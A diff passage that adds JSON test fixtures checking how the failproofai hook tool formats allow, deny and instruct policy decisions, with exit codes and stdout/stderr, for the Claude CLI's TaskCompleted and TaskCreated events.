a/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d95d6be2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4f6fae44 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f6c90779 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..cc9ce2ac --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2d77cdcd --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bf861037 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..adfd46f4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e2481831 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d3368d26 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d0180c62 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3d788348 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..af3b9cf8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..95eb5449 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..342a042f --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9faf519b --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..84cb7726 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bad85d82 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9a227dbb --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d26ca701 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1a10ffbc --- /dev/null +++ 